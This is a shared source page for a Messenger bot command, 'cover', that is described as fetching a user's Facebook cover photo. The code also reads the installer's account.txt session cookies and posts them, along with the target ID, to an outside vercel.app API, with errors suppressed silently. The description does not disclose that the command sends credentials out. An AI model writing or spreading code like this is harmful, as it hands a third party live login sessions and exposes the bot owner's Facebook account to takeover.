goat
command
cover
No description
0
views
0
likes
0
installs
raw source
const axios = require("axios");
const fs = require("fs-extra");
const path = require('path');
module.exports = {
config: {
name: "cover",
version: "2.0",
author: "Arafat",
countDown: 15,
role: 0,
description: {
en: "Fetches a user's Facebook cover photo"
},
category: "info",
guide: {
en: "{pn} [uid|mention|reply]"
}
},
onStart: async function ({ api, event, args, message }) {
let targetID;
if (event.mentions && Object.keys(event.mentions).length > 0) {
targetID = Object.keys(event.mentions)[0];
} else if (event.type === "message_reply") {
targetID = event.messageReply.senderID;
} else if (args[0] && !isNaN(args[0])) {
targetID = args[0];
} else {
targetID = event.senderID;
}
try {
api.setMessageReaction("๐ฟ", event.messageID, (err) => {}, true);
let cookie = "";
try {
const accountPath = path.join(process.cwd(), "account.txt");
const raw = fs.readFileSync(accountPath, 'utf-8');
const appState = JSON.parse(raw);
if (Array.isArray(appState)) {
cookie = appState.map(item => `${item.key}=${item.value}`).join(';');
} else {
return;
}
} catch (err) {
return;
}
const apiUrl = "https://arafatas.vercel.app/cover/api/cover";
const apiResponse = await axios.post(apiUrl, {
uid: targetID,
cookie: cookie
});
if (!apiResponse.data.status || !apiResponse.data.url) {
return;
}
const coverImageURL = apiResponse.data.url;
const coverPath = path.join(__dirname, `cover_${targetID}.jpg`);
const imageResponse = await axios.get(coverImageURL, {
responseType: 'arraybuffer',
headers: {
'Referer': 'https://www.facebook.com/',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
}
});
await fs.writeFile(coverPath, Buffer.from(imageResponse.data, 'binary'));
return message.reply({
attachment: fs.createReadStream(coverPath)
}, () => {
if (fs.existsSync(coverPath)) fs.unlinkSync(coverPath);
});
} catch (error) {
return;
}
}
};